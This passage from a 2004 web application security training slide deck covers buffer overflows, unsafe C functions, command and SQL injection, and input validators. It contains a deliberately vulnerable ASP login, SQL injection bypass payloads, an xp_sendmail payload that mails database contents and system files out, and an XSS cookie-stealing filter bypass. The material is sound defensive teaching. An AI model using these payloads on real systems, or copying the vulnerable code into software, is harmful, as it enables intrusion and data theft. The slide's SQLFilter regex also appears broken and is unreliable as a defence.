Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
80
Buffer Overflows
• Execution stack corruption of of the web
application leading to at a minimum a
Denial of Service and potentially to Remote
Command Execution (usually under the
identity of the web server)
• Always a good reason to investigate Java
and J2EE environments
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
81
A Simple Example
void some_function(int a, int b, int c)
{
char buffer1[5];
gets(buffer1); /* DON'T DO THIS */
}
void main() {
Some_function(1,2,3);
}
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
82
Buffer Overflows
• The Definitive Guide:
– “Smashing The Stack For Fun And Profit”
• What’s a Stack?
– sfp (the saved frame pointer)
– ret (the return address)
bottom of
memory
 growth 
top of
memory
buffer1
sfp
ret
[]
[]
[]
a
b
c
[]
[]
[]
top of stack
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
{
char buffer1[5];
gets(buffer1); /* DON'T DO THIS */
}
void main() {
Some_function(1,2,3);
}
...
bottom of
stack
v. 2.3
83
Bad C functions
• strcpy(3), strcat(3), sprintf(3) (with cousin
vsprintf(3)), and gets(3).
• The scanf() set of functions (scanf(3), fscanf(3),
sscanf(3), vscanf(3), vsscanf(3), and vfscanf(3)
• And for Microsoft:
• wcscpy(), _tcscpy(), _mbscpy(), wcscat(),
_tcscat(), _mbscat(), and CopyMemory()
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
84
Good C functions
•
•
•
•
Don't use strcpy() use strncpy()
Don't use strcat() use strncat()
Don't use sprintf() use snprintf()
Don't use gets() use fgets()
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
85
Injection Flaws
• Command Injection - Formail.pl
– 2002 - “Below is the result of your feedback form”
– 1995 - User supplied data (from the "recipient" hidden
field) is passed to a Perl OPEN function without proper
input verification, allowing the use of the command
separation shell metacharacter (;) to execute arbitrary
commands on the remote host
• SQL Injection
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
86
Why Database Protection?
• Databases hold valuable info:
– Credit card numbers, passwords, etc.
– Compromises can be VERY costly
• Rapid growth in database security breaches
• Database security gaining momentum within
security community
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
87
SQL Injection
SQL Injection: Inserting user-supplied SQL
statements into a dynamically-generated SQL
query making unintended use possible
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
88
Front End HTML:
<html>
<body>
<form action=login.asp>
Username: <input type=text name=username><br>
Password: <input type=password name=password><br>
<input type=submit value=Login><br>
</form>
</body>
</html>
IIS ASP:
<%
Dim uname, pass
' declare variables
uname = request.querystring(“username”)
pass = request.querystring(“password”)
set LOGIN = CreateObject(“ADODB.RecordSet”)
LOGIN.ActiveConnection = “ODBCCONNECTION”
LOGIN.CursorType = 0
LOGIN.source = “select * from users where uname='"&uname&"’ and pass= '"&pass&"'”
LOGIN.Open
If LOGIN.BOF = True or LOGIN.EOF = True then
response.redirect “default.asp” ' failed login
else
response.redirect “clients.asp”
' logged in
end if
LOGIN.Close
%>
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
89
Common SQL Statements
• SELECT credit_card_number
FROM Users
WHERE username = ‘rjohnson’;
• UPDATE SubscriptionData
SET subscription_is_paid = 1
WHERE username = ‘charrington’;
• INSERT INTO AuthorizedUsers(username)
VALUES(‘my_hacker_login’);
• DELETE * FROM Orders;
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
90
Basic MSSQL Syntax
• Double Dashes (--) indicate a comment; rest of
line is ignored
• ‘anything in single quotes’ indicates a string
value
• Semicolons (;) separate SQL statements
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
91
MS SQL Query Example
• Let’s say you enter charrington
into the Username field and mypass into the
Password field
• This SQL query is dynamically generated:
SELECT *
FROM Users
WHERE username = ‘charrington’ AND password =
‘mypass’
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
92
SQL Injection
• Now, let’s bypass the password check…
• Enter charrington‘ -into the Username field and nothing into the
Password field
• This SQL query is dynamically generated:
SELECT *
FROM Users
WHERE username = ‘charrington’ --’ AND password = ‘’
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
93
Or……..
Login: ' OR ‘’=’
Password: ' OR ‘’=’
This will give SQLQuery the following value:
• SELECT uname FROM Users WHERE uname= ‘’
OR ‘’='’ AND pass = ‘’ OR ‘’='’
• What about: EXECUTE master.dbo.xp_sendmail
“[email protected]”,"”,"select * from
sysdatabases”, “C:\boot.ini” --’ (MS SQL 7)
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
94
What to do?
1. The following function will strip unnecessary characters from the passed input.
Function SQLFilter(str)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = “A-Z,0-9"
regEx.IgnoreCase = True
SQLFilter = regEx.Replace(str, “”)
End Function
1. 2. Do not allow a single ' to be accepted as input - always replace each submitted single '
with ‘’ (2 x ' and not ”).
2. 3. If the field is numeric or is a date, then check that each submitted value IS numeric or
is a date. Use the IsNumeric() and the IsDate() functions.
4.
Implement Error Handling so that the system, on detecting an error (such as wrong
input) does not provide even more information. This already occurs within the
database access routines. SQL errors and system exceptions, generate email
notification to administrators, while the end user receives a generic error page
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
95
The Best Solution
• Use Parameterized stored procedures
• Use Prepared Statements
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
96
The Most Important Slide of this
Presentation: SQL Injection References
• http://www.nextgenss.com/papers/advanced_sql_i
njection.pdf
• http://www.sqlsecurity.com/faq-inj.asp
• http://www.spidynamics.com/papers/SQLInjection
WhitePaper.pdf
• http://www.nextgenss.com/papers/advanced_sql_i
njection.pdf
• http://www.nextgenss.com/papers/more_advanced
_sql_injection.pdf
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
97
Insecure Storage (Improper use
of Cryptography)
• The number one risk is failure to use
cryptographic techniques when necessary
• “Keep it simple” means DO NOT try to
invent anything new
• Know when to hash, know when to encrypt.
• Randomness??
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
98
Randomness and Entropy
• UNIX /dev/random (urandom)
• CAPICOM for Win32 Utilities.GetRandom
• C# - CryptoServiceProvider
• Java - SecureRandom
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
99
Input Validators
A Big Step Towards Prevention
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
100
Validators
•
{
$pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; $string = preg_replace($pattern, '', $string);
$string = '"'.preg_replace('/\$/', '\\\$', $string).'"';
$len = strlen($string);
if((($min != '') && ($len < $min)) || (($max != '') && ($len > $max)))
return FALSE;
return $string;
}
•
OR
{
$string = preg_replace("/[^a-zA-Z0-9]/", "", $string);
$len = strlen($string);
if((($min != '') && ($len < $min)) || (($max != '') && ($len > $max)))
return FALSE;
return $string;
}
• Check out the OWASP filters project.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
101
Validators – ASP.NET & J2EE
• ASP.NET
– v1.1 - XSS filtering support
– v2.0 – Added SQL filtering support
– Problems from the start though:
<%00SCRIPT>alert(document.cookie)</SCRIPT>
• J2EE
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
102
A Simple Validator – Luhn’s
Formula
•
•
1.
2.
3.
Credit card validator – Visa, MasterCard, American Express, Diners Club,
Discover
ANSI X.14
Starting with the second to last digit and moving left, double the value of all
the alternating digits.
Starting from the left, take all the unaffected digits and add them to the
results of all the individual digits from step 1. If the results from any of the
numbers from step 1 are double digits, make sure to add the two numbers
first (i.e. 18 would yield 1+8). Basically, your equation will look like a
regular addition problem that adds every single digit.
The total from step 2 must end in zero for the credit-card number to be valid.
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
103
Stinger
• J2EE Request validation engine
• Not just a single field-value pair, but a
cohesive way to perform validation of the
entire HTTP request including headers,
form fields, cookies, etc.
• http://stinger.sourceforge.net
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
104
Defining Stinger Rules
•
•
<?xml version="1.0"?>
<ruleset>
<name>Login Page Username and Password Rules</name>
<path>/login</path>
<extraHeaderAction>ignore</extraHeaderAction>
<extraCookieAction>ignore</extraCookieAction>
<extraParameterAction>fatal</extraParameterAction>
<rule>
<name>username</name>
<type>parameter</type>
<regex>^[\d]{8}$</regex>
<malformedAction>continue</malformedAction>
<missingAction>fatal</missingAction>
<hidden>true</hidden>
</rule>
<rule>
<name>password</name>
<type>parameter</type>
<regex>^[\w]{4,8}$</regex>
<malformedAction>continue</malformedAction>
<missingAction>fatal</missingAction>
<hidden>true</hidden>
</rule>
</ruleset>
Source: http://aspectsecurity.com/stinger/article.html
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
105
Invoking Stinger from your
servlet
• Stinger stinger = Stinger.getInstance
( this.getServletConfig()
);
ErrorList errors = null;
try
{
errors = stinger.validate( request );
}
catch …………
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
106
Review of Key Messages
•
•
•
•
•
•
•
Introduction
Problem Statement
Information Security
Application Security
The Guiding Tenets of Application Security
The Top Ten
Potential Help – Validators
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
v. 2.3
107
Questions and Answers
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com